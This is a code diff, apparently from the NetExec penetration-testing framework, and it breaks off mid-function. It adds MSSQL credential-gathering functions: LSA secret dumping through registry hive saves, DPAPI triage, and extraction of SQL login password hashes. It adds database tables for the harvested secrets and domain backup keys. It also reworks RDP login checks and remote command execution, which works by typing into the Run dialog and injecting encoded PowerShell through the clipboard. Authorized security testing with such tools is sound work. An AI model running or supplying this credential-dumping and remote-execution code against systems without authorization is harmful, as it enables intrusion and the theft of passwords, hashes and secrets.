self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
self.logger.highlight(f"Total: {len(rows)} table(s)")
return
@@ -591,7 +603,7 @@ class mssql(connection):
SAM.export(output_filename)
@requires_admin
def lsa(self):
def lsa(self, quiet=False):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
@@ -613,15 +625,128 @@ class mssql(connection):
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
return
self.logger.display("Dumping LSA secrets")
if not quiet:
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
def lsa_secret_callback(_, secret):
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
LSA = LSASecrets(
f"{output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
perSecretCallback=lsa_secret_callback,
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
port=self.port,
hashes=f":{self.nthash}",
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
use_kcache=self.use_kcache,
aesKey=self.aesKey,
db_auth=self.args.local_auth,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
@requires_admin
def db_hash(self):
self.logger.display("Dumping local database users' hashes")
query = """
SELECT
sp.name,
CASE
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
ELSE 'Unknown'
END AS hash_type,
sl.password_hash
FROM sys.server_principals sp
INNER JOIN sys.sql_logins sl
ON sp.principal_id = sl.principal_id
WHERE sp.type = 'S' -- uniquement les logins SQL
AND sp.name NOT LIKE '##%'
ORDER BY sp.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
return
if not rows:
self.logger.fail("No logins returned")
return
else:
self.logger.display("Enumerated logins")
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
for row in rows:
name = row.get("name")
hash_type = row.get("hash_type")
password_hash = row.get("password_hash")
if password_hash != "NULL":
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
def list_backups(self):
self.logger.info("Dumping database backups")
query = """
SELECT
bs.database_name,
bs.server_name,
bmf.physical_device_name AS backup_file_path,
CASE
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
ELSE 'Encrypted'
END AS backup_encryption_status,
bs.encryptor_type,
bs.key_algorithm
FROM msdb.dbo.backupset AS bs
INNER JOIN msdb.dbo.backupmediafamily AS bmf
ON bs.media_set_id = bmf.media_set_id
INNER JOIN sys.databases AS d
ON bs.database_name = d.name
ORDER BY bs.backup_finish_date DESC;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
return
if not rows:
self.logger.fail("No backups returned")
return
else:
self.logger.display("Enumerated backups")
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
for row in rows:
database_name = row.get("database_name").strip()
is_encrypted = row.get("backup_encryption_status").strip()
backup_file_path = row.get("backup_file_path").strip()
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
+156 -1
View File
@@ -1,6 +1,7 @@
import warnings
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import declarative_base
@@ -19,6 +20,8 @@ class database(BaseDB):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
@@ -75,6 +78,32 @@ class database(BaseDB):
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
@@ -84,6 +113,8 @@ class database(BaseDB):
self.UsersTable = self.reflect_table(self.User)
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
"""
@@ -279,6 +310,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -353,3 +398,113 @@ class database(BaseDB):
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
+5
View File
@@ -16,6 +16,10 @@ def proto_args(parser, parents):
cgroup = mssql_parser.add_argument_group("Credential Gathering")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
cgroup = mssql_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
@@ -36,4 +40,5 @@ def proto_args(parser, parents):
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
return parser
+364 -169
View File
@@ -1,19 +1,25 @@
import asyncio
import base64
import copy
import contextlib
from datetime import datetime
from os import getenv
from uuid import uuid4
from anyio import Path
from termcolor import colored
from impacket.krb5.ccache import CCache
from impacket.smb3 import WIN_VERSIONS
from nxc.connection import connection
from nxc.helpers.misc import sanitize_dns
from nxc.helpers.path import sanitize_path_component
from nxc.helpers.bloodhound import add_user_bh
from nxc.logger import NXCAdapter
from nxc.config import host_info_colors, process_secret
from nxc.paths import NXC_PATH
from aardwolf.connection import RDPConnection
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
from aardwolf.commons.iosettings import RDPIOSettings
@@ -114,19 +120,28 @@ class rdp(connection):
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def _create_rdp_connection(self, credentials, supported_protocols=None):
iosettings = self.iosettings.clone_for_connection()
# Explicit protocols are used by discovery and screenshot fallbacks.
# Authenticated connections leave this unset so aardwolf selects the
# X224 flags appropriate for the credential type.
iosettings.supported_protocols = supported_protocols
return RDPConnection(
iosettings=iosettings,
target=copy.deepcopy(self.target),
credentials=copy.deepcopy(credentials),
)
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
asyncio.run(self.check_nla())
for proto in reversed(self.protoflags):
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(
iosettings=self.iosettings,
target=self.target,
credentials=self.auth,
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
asyncio.run(self.connect_rdp_with_cleanup())
except OSError as e:
@@ -141,9 +156,9 @@ class rdp(connection):
except Exception:
pass
else:
self.domain = info_domain["dnsdomainname"]
self.hostname = info_domain["computername"]
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
self.server_os = self.guess_os(info_domain)
self.logger.extra["hostname"] = self.hostname
break
@@ -166,18 +181,27 @@ class rdp(connection):
domain=self.domain,
dc_ip=self.domain,
timeout=self.args.rdp_timeout,
unsafe_ssl=True,
)
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
self.iosettings.supported_protocols = None
return True
def guess_os(self, info_domain):
build = info_domain.get("os_build")
if build in WIN_VERSIONS:
return f"{WIN_VERSIONS[build]} Build {build}"
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
return f"Windows 10.0 Build {build}"
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
async def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
try:
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
self.conn = RDPConnection(
iosettings=self.iosettings,
target=self.target,
credentials=None,
self.conn = self._create_rdp_connection(
None, supported_protocols=SUPP_PROTOCOLS.SSL
)
packetizer = TPKTPacketizer()
client = UniClient(self.target, packetizer)
@@ -191,17 +215,17 @@ class rdp(connection):
except Exception:
pass
async def connect_rdp(self):
async def connect_rdp(self, auth_only=False):
"""Connect to the RDP server. Does NOT clean up on exit.
Use this when the caller needs the connection alive after connecting
(screen, nla_screen, execute_shell). For sync callers that only need to
know whether authentication succeeded and want guaranteed cleanup, use
connect_rdp_with_cleanup() instead.
When auth_only is True, performs only CredSSP/NLA authentication
without establishing a full RDP session. This verifies credentials
without creating a disconnected session on single-session hosts.
"""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
if err is not None:
raise err
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
@@ -209,13 +233,37 @@ class rdp(connection):
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
async def connect_rdp_with_cleanup(self):
async def connect_rdp_with_cleanup(self, auth_only=False):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
await self.connect_rdp()
await self.connect_rdp(auth_only=auth_only)
finally:
await self.terminate_conn()
async def login_and_confirm(self):
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
That PDU never comes when access is authorized but the logon is refused (restricted admin).
"""
try:
await self.connect_rdp()
try:
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
finally:
await self.terminate_conn()
def rdp_access_denied(self):
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
"""
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
lmhash = ""
@@ -232,8 +280,6 @@ class rdp(connection):
if nthash:
self.nthash = nthash
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
self.hostname + "." + self.domain
password = password if password else nthash
@@ -247,8 +293,14 @@ class rdp(connection):
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
elif aesKey:
stype = asyauthSecret.AES
password = aesKey
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
password = password if password else nthash
kerb_pass = password
kerberos_target = UniTarget(
self.kdcHost,
@@ -268,10 +320,22 @@ class rdp(connection):
domain=domain,
stype=stype,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(
"{}\\{}{} {}".format(
domain,
@@ -299,8 +363,11 @@ class rdp(connection):
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
)
elif "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
elif self.rdp_access_denied():
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
elif "No such file" in str(e):
self.logger.fail(e)
else:
@@ -316,6 +383,10 @@ class rdp(connection):
)
return False
def _execution_pending(self):
"""Check if command execution will follow authentication."""
return bool(self.args.execute or self.args.ps_execute)
def plaintext_login(self, domain, username, password):
try:
self.auth = NTLMCredential(
@@ -324,10 +395,22 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
@@ -335,8 +418,11 @@ class rdp(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if self.rdp_access_denied():
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
else:
reason = None
for word in self.rdp_error_status:
@@ -358,10 +444,22 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
@@ -369,8 +467,11 @@ class rdp(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if self.rdp_access_denied():
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
else:
reason = None
for word in self.rdp_error_status:
@@ -388,10 +489,11 @@ class rdp(connection):
async def _send_keystrokes(self, text, delay=0.02):
"""Helper method to send keystrokes to the RDP session"""
for char in text:
key_event = RDP_KEYBOARD_UNICODE()
key_event.char = char
key_event.is_pressed = True
await self.conn.ext_in_queue.put(key_event)
for is_pressed in (True, False):
key_event = RDP_KEYBOARD_UNICODE()
key_event.char = char
key_event.is_pressed = is_pressed
await self.conn.ext_in_queue.put(key_event)
await asyncio.sleep(delay)
async def _send_enter(self):
@@ -400,144 +502,241 @@ class rdp(connection):
await asyncio.sleep(0.05)
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
async def _send_shortcut(self, modifier, key):
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
modifier_scancode = layout.vk_to_scancode(modifier)
key_scancode = layout.char_to_scancode(key)[0]
await self.conn.send_key_scancode(modifier_scancode, True, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(key_scancode, True, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(key_scancode, False, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(modifier_scancode, False, False)
async def _send_win_r(self):
"""Helper method to send Windows+R key combination to open Run dialog"""
self.logger.debug("Sending Win+R using scancode method")
for _ in range(2):
_, err = await self.conn.send_focus_in()
if err is not None:
raise err
await self._send_shortcut("VK_LWIN", "r")
await asyncio.sleep(0.5)
@staticmethod
def _build_execution_command(payload, shell_type, marker, get_output):
if not get_output:
if shell_type == "cmd":
return f"cmd.exe /d /s /c {payload}"
if shell_type == "powershell":
return (
"powershell.exe -NoLogo -NoProfile -NonInteractive "
f"-WindowStyle Hidden -Command {payload}"
)
raise ValueError(f"Unsupported shell type: {shell_type}")
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
if shell_type == "cmd":
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
elif shell_type == "powershell":
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
else:
raise ValueError(f"Unsupported shell type: {shell_type}")
start_marker = f"__NXC_RDP_START_{marker}__"
end_marker = f"__NXC_RDP_END_{marker}__"
script = f"""
$ErrorActionPreference = 'Continue'
{decode_payload}
try {{
{invoke_command}
$succeeded = $?
$nativeExitCode = $LASTEXITCODE
}} catch {{
$output = $_
$succeeded = $false
$nativeExitCode = $null
}}
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
$outputText = ($output | Out-String -Width 4096).TrimEnd()
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Clipboard]::SetText($result)
"""
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
@staticmethod
def _parse_execution_result(clipboard_text, marker):
start_marker = f"__NXC_RDP_START_{marker}__"
end_marker = f"__NXC_RDP_END_{marker}__"
normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
start_index = normalized.find(start_marker)
end_index = normalized.find(end_marker, start_index + len(start_marker))
if start_index == -1 or end_index == -1:
return None
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
exit_code_text, separator, output = body.partition("\n")
if not separator:
return None
try:
self.logger.debug("Sending Win+R using scancode method")
exit_code = int(exit_code_text.strip())
except ValueError:
return None
return exit_code, output.rstrip("\n")
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
async def _wait_for_event(self, event_names, max_wait):
loop = asyncio.get_running_loop()
deadline = loop.time() + max_wait
win_scancode = layout.vk_to_scancode("VK_LWIN")
await self.conn.send_key_scancode(win_scancode, True, False)
await asyncio.sleep(0.1)
while True:
if self.conn.disconnected_evt.is_set():
raise ConnectionError("RDP connection was terminated")
r_scancode = layout.char_to_scancode("r")[0]
await self.conn.send_key_scancode(r_scancode, True, False)
await asyncio.sleep(0.1)
remaining = deadline - loop.time()
if remaining <= 0:
raise TimeoutError
await self.conn.send_key_scancode(r_scancode, False, False)
await asyncio.sleep(0.1)
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
if data is None:
raise ConnectionError("RDP connection was terminated")
await self.conn.send_key_scancode(win_scancode, False, False)
event_name = getattr(getattr(data, "type", None), "name", None)
if event_name in event_names:
return data
await asyncio.sleep(0.5)
async def _wait_for_desktop(self):
loop = asyncio.get_running_loop()
started_at = loop.time()
self.logger.debug("Win+R sent successfully")
return True
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
self.logger.fail("Connection was reset by the remote host")
return False
except Exception as e:
self.logger.debug(f"Error sending Win+R: {e!s}")
self.logger.debug("Using fallback approach for opening command prompt")
return False
if not self.conn.desktop_buffer_has_data:
try:
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
except TimeoutError:
self.logger.debug("No desktop update received before command execution; continuing")
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
if remaining_delay > 0:
await asyncio.sleep(remaining_delay)
async def _submit_run_command(self, command):
await self._send_win_r()
await self.conn.set_current_clipboard_text(command)
# server must acknowledge our clipboard data before we trigger the read
response = await self._wait_for_event(
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
)
if not response.accepted:
raise RuntimeError(
"Remote session rejected the clipboard command data"
)
# type a one-liner that reads and executes the clipboard we just set
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
await self._send_keystrokes(
"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
"System.Windows.Forms; Invoke-Expression "
'([System.Windows.Forms.Clipboard]::GetText())"'
)
await self._send_enter()
async def _submit_typed_run_command(self, command):
await self._send_win_r()
await self._send_keystrokes(command, delay=0.005)
await self._send_enter()
async def _wait_for_command_result(self, marker):
loop = asyncio.get_running_loop()
deadline = loop.time() + self.args.clipboard_delay
while True:
remaining = deadline - loop.time()
if remaining <= 0:
raise TimeoutError
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
result = self._parse_execution_result(data.data, marker)
if result is not None:
return result
async def execute_shell(self, payload, get_output, shell_type):
# Append | clip to send output to clipboard
if shell_type == "cmd":
payload_with_clip = f"{payload} | clip & exit"
elif shell_type == "powershell":
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
else:
self.logger.fail(f"Unsupported shell type: {shell_type}")
return None
self.logger.debug(f"Executing command: {payload_with_clip}")
marker = uuid4().hex if get_output else None
command = self._build_execution_command(
payload, shell_type, marker, get_output
)
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
try:
